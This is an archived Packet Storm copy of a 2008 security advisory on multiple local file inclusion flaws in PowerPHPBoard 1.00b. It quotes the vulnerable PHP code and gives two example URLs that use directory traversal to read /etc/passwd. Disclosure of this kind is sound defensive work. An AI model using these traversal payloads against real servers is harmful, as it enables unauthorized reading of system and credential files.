ignore security and it'll go away

DSECRG-08-021.txt

DSECRG-08-021.txt
Posted Mar 24, 2008
Authored by Sh2kerr | Site dsecrg.com

PowerPHPBoard version 1.00b suffers from multiple local file inclusion vulnerabilities.

tags | exploit, local, vulnerability, file inclusion
MD5 | 62296a0406370148417f50370dd3baf0

DSECRG-08-021.txt

Change Mirror Download

[DSECRG-08-021] Digital Security Research Group [DSecRG] Advisory


Application: PowerPHPBoard
Versions Affected: 1.00b
Vendor URL: http://www.powerscripts.org/
Bug: Multiple Local File Include
Exploits: YES
Reported: 01.02.2008
Vendor Response: none
Solution: none
Date of Public Advisory: 24.03.2008
Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

PowerPHPBoard has Multiple Local File Include vulnerabilities.


1. Local File Include vulnerability found in script footer.inc.php

To exploit this vulnerability REGISTER_GLOBALS option must be ON in php config file.


Code
****
#################################################

if ($settings[footer]) {
if (file_exists("inc/$settings[footer]")) {
include("inc/$settings[footer]");
} else {
echo "<center>$lang_footerdoesntexists</center>";
}
} else {
include("inc/footer.ppb");
}

#################################################


Example:

http://[server]/[installdir]/footer.inc.php?settings[footer]=../../../../../../../../../../../../../etc/passwd

---------------------------------------------------------------------


2. Local File Include vulnerability found in script footer.inc.php

To exploit this vulnerability REGISTER_GLOBALS option must be ON in php config file.


Code
****
#################################################

if (!$handler) {
if ($handler = @mysql_pconnect($mysql[server], $mysql[user], $mysql[password])) {
...
}
}

...

$query = "SELECT * FROM ppb_config WHERE id='1'";
$result = mysql_query($query,$handler);
$num = mysql_num_rows($result);

if ($num != 0) {
list($settings[id], $settings[boardtitle], $settings[boardurl], $settings[adminemail], $settings[header], $settings[footer],

$settings[bordercolor], $settings[tablebg1], $settings[tablebg2], $settings[tablebg3], $settings[htmlcode], $settings[bbcode],

$settings[smilies], $settings[newthread], $settings[newpost], $settings[language]) = mysql_fetch_array($result);
}

...

if ($settings[header]) {
if (file_exists("inc/$settings[header]")) {
include("inc/$settings[header]");
} else {
echo "<center>$lang_headerfiledoesntexists</center>";
}
} else {
include("inc/header.ppb");
}

#################################################


Example:

http://[server]/[installdir]/header.inc.php?handler=1234&settings[header]=../../../../../../../../../../../../../etc/passwd


About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration

testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.

Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories

and whitepapers posted regularly on our website.


Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)




--
Alexandr Polyakov
DIGITAL SECURITY RESEARCH GROUP

mailto:research@dsec.ru

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    2 Files
  • 2
    Jul 2nd
    3 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    4 Files
  • 5
    Jul 5th
    15 Files
  • 6
    Jul 6th
    15 Files
  • 7
    Jul 7th
    10 Files
  • 8
    Jul 8th
    2 Files
  • 9
    Jul 9th
    10 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    15 Files
  • 12
    Jul 12th
    19 Files
  • 13
    Jul 13th
    16 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    3 Files
  • 16
    Jul 16th
    2 Files
  • 17
    Jul 17th
    8 Files
  • 18
    Jul 18th
    11 Files
  • 19
    Jul 19th
    15 Files
  • 20
    Jul 20th
    15 Files
  • 21
    Jul 21st
    15 Files
  • 22
    Jul 22nd
    7 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close